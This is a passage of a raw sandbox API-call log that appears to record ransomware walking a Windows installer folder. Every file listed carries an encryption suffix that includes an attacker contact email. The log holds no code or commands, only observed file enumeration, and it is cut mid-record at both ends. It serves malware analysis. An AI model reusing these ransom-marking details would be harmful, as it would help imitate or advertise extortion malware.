hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.482] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0224.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.482] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573168 [0224.483] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.483] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa355f02e, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa355f02e, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3585148, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.483] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3585148, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3585148, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3585148, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.483] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa304df85, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa304df85, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33e185d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.483] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa304df85, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa304df85, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33e185d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.483] FindClose (in: hFindFile=0x573168 | out: hFindFile=0x573168) returned 1 [0224.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.484] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0224.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.484] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5734e8 [0224.485] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.485] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3585148, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3585148, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa38c7842, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.485] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa361dbe4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa361dbe4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa361dbe4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.485] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa30c0705, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa30c0705, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30c0705, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.485] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa30c0705, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa30c0705, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30c0705, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.485] FindClose (in: hFindFile=0x5734e8 | out: hFindFile=0x5734e8) returned 1 [0224.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.486] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0224.486] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.486] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573268 [0224.487] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.487] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa36453f5, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa36453f5, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa36453f5, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.487] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa394acbf, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa394acbf, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3d2acc6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.487] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa30e69a9, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa30e69a9, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30e69a9, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.487] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa30e69a9, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa30e69a9, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30e69a9, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.487] FindClose (in: hFindFile=0x573268 | out: hFindFile=0x573268) returned 1 [0224.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.488] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0224.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.488] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5734e8 [0224.488] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.488] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3702b45, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3702b45, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3702b45, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.488] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3702b45, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3702b45, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3702b45, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.488] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa30e69a9, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa30e69a9, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30e69a9, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.488] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa30e69a9, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa30e69a9, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30e69a9, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.488] FindClose (in: hFindFile=0x5734e8 | out: hFindFile=0x5734e8) returned 1 [0224.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.489] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0224.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.489] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573868 [0224.490] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.490] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3728c15, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3728c15, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3728c15, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.490] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3728c15, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3728c15, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3cb84e7, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.490] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa310cbd6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa310cbd6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa34a0371, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.490] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa310cbd6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa310cbd6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa34a0371, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.490] FindClose (in: hFindFile=0x573868 | out: hFindFile=0x573868) returned 1 [0224.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.490] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0224.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.491] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573268 [0224.491] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.491] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3808c2a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3808c2a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa382ef79, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PARAME~1.HCK")) returned 1 [0224.491] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa382ef79, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa382ef79, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa382ef79, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="UIINFO~1.HCK")) returned 1 [0224.491] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa382ef79, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa382ef79, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa382ef79, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="UIINFO~1.HCK")) returned 0 [0224.491] FindClose (in: hFindFile=0x573268 | out: hFindFile=0x573268) returned 1 [0224.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.492] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa38552cb, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa38552cb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3b60fdd, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DHTMLH~1.HCK")) returned 1 [0224.492] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, 